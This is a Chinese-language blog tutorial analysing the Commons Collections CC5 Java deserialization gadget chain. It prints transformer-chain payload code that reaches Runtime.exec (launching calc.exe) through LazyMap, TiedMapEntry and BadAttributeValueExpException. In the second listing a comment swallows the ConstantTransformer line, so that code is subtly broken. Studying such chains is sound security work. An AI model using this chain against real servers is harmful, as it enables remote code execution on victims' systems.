Java反序列化漏洞分析之commons.collections利用链5

Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。
Collections包中的“Map”是在java.util.Map的基础上扩展的接口和类。有如下常用的Map:

  • LinkedMap,可以维护条目顺序的map;
  • BidiMap,即双向Map,可以通过key找到value,也可以通过value找到key。需要注意的是BidiMap中key和value都不可以重复;
  • MultiMap,一个key指向的是一组对象,add()和remove()的时候跟普通的Map无异,只是在get()时返回一个Collection,实现了一对多;
  • LazyMap,即Map中的键/值对一开始并不存在,当被调用到时才创建。

Commons Collections实现了一个TransformedMap类,该类是对Java标准数据结构Map接口的一个扩展。该类可以在一个元素被加入到集合内时,自动对该元素进行特定的修饰变换,具体的变换逻辑由Transformer类定义,Transformer在TransformedMap实例化时作为参数传入。

org.apache.commons.collections.Transformer这个类可以满足固定的类型转化需求,其转化 函数可以自定义实现,我们的漏洞触发函数就是利用了这一点。

反序列化利用链重点掌握:

  • payload:需要让服务端执行的语句:比如说弹计算器还是执行远程访问等;把它称为:payload
  • 反序列化利用链:服务端中存在的反序列化利用链,会一层层拨开我们的exp,最后执行payload。
  • readObject复写利用点:服务端中存在的可以与我们漏洞链相接的并且可以从外部访问的readObject函数复写点;我把它称为readObject复写利用点

反序列化所需要的类及使用方法:

  • TransformedMap
  • InvokerTransformer
  • ConstantTransformer
  • ChainedTransformer
  • Transformer

InvokerTransformer 类

InvokerTransformer这个类 现了java.io.Serializable接口.InvokerTransformer,

public class InvokerTransformer implements Transformer, Serializable {
    private static final long serialVersionUID = -8653385846894047688L;
    private final String iMethodName;
    private final Class[] iParamTypes;
    private final Object[] iArgs;

InvokerTransformer类实现了org.apache.commons.collections.Transformer接口,Transformer提供了一个对象转换方法:transform.主要用于将输入对象转换为输出对象。 InvokerTransformer类的主要作用就是利用Java反射机制来创建类实例。

InvokerTransformer 扩展了序列化与Transformer 类。其构造函数为三个东西,一个是方法名,一个是参数类型列表,一个是参数列表

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        super();
        iMethodName = methodName;
        iParamTypes = paramTypes;
        iArgs = args;
    }

transform其提供了一个方法,带入一个Object,可执行其Object.methodName(args)这样的方法:

public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        try {
            Class cls = input.getClass();
            Method method = cls.getMethod(iMethodName, iParamTypes);
            return method.invoke(input, iArgs);
            
        } catch (NoSuchMethodException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist");
        } catch (IllegalAccessException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
        } catch (InvocationTargetException ex) {
            throw new FunctorException("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
        }
    }

可以看懂transform通过反射先获取类名,在获取方法,通过invoke调用该方法;

使用InvokerTransformer实现调用本地命令执行方法。但在真实的漏洞利用场景我们是没法在调用transformer.transform的时候直接传入Runtime.getRuntime()对象的(因为Runtime对象是不可以被序列化的,其构造函数为传入一个Transformer 数组.

ChainedTransformer 类

这个类实现了transformer的链式调用,我们只需要传入一个Transformer数组ChainedTransformer就可以实现依次的去调用每一个Transformer的transform方法。

public Transformer[] getTransformers() {
        return iTransformers;
    }

transform方法为对其再构造函数中传入的transform数组循环调用:

public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }

调用链为Runtime.class.getMethod("getRuntime").invoke(null).exec(cmd)

transformer传了四个参数,核心代码利用:

Transformer[] transformers = new Transformer[]{
      new ConstantTransformer(Runtime.class), //Runtime.class.
      new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),//Runtime.class.getMethod("getRuntime")
      new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),// Runtime.class.getMethod("getRuntime").invoke(null)
      new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc.exe"})// Runtime.class.getMethod("getRuntime").invoke(null).exec(cmd) 
};

因此只需要找到,cc链中谁会在 readobject方法触发Transform的transform方法;Lazymap中transform会将传入的对象进行转换,但是没有调用transform方法;

LazyMap

LazyMap实现了map接口,其中的Object方法调用了transform方法,只需要找到一个类谁会在反序列化时侯调用getobject()方法,

    public Object get(Object key) {
        // create value for key if key is not currently in the map
        if (map.containsKey(key) == false) {
            Object value = factory.transform(key);
            map.put(key, value);
            return value;
        }
        return map.get(key);
    }

在调用transform方法前会检查可以是否被初始化,没有初始化就会调用factory.transform方法进行调用

public static Map decorate(Map map, Transformer factory) {
        return new LazyMap(map, factory);
}

现在的利用过程:

Transform方法->InvokerTransformer 类->factory.transform方法->get (object)方法->LazyMap类

TiedMapEntry

public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }

TiedMapEntry的toString方法中,会调用map的getKey与getValue方法。

public String toString() {return getKey() + "=" + getValue();}
public Object getKey() {return key;}
public Object getValue() {return map.get(key);}

在BadAttributeValueExpException的readObject方法中会自动调用对象的toString方法。假设存储的是tideMapEntry方法,那么就开始自动反序列化,最终调用Transform的 transform对象,也就执行了我们的payload。

PayLoad

Transformer[] transformers = new Transformer[] {
	//通过内置的ConstantTransformer来获取Runtime类	new ConstantTransformer(Runtime.class),
	//反射调用getMethod方法,然后getMethod方法再反射调用getRuntime方法,返回Runtime.getRuntime()方法
	new InvokerTransformer("getMethod",
		new Class[] {String.class, Class[].class },
		new Object[] {"getRuntime", new Class[0] }),       
		 //反射调用invoke方法,然后反射执行Runtime.getRuntime()方法,返回Runtime实例化对象       
		 new InvokerTransformer("invoke",
  		new Class[] {Object.class, Object[].class },
		new Object[] {null, new Object[0] }),
		//反射调用exec方法
	new InvokerTransformer("exec",
		new Class[] {String.class },
		new Object[] {"cmd /k D://calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "key");
BadAttributeValueExpException poc = new BadAttributeValueExpException(null);

总结

BadAttributeValueExpException的readObject方法会调用TiedMapEntry的tostring方法,所以先传进来Lazy Map对象,然后会调用getvalue方法,然后调用LazyMap的get方法,get方法调用transform方法;ChainedTransformer会实现 transformer的链式调用,只需要传进来transformer数组即可,因此在第一步,进行接收参数.自此完成CC5.

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

陈年往事心中绕

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值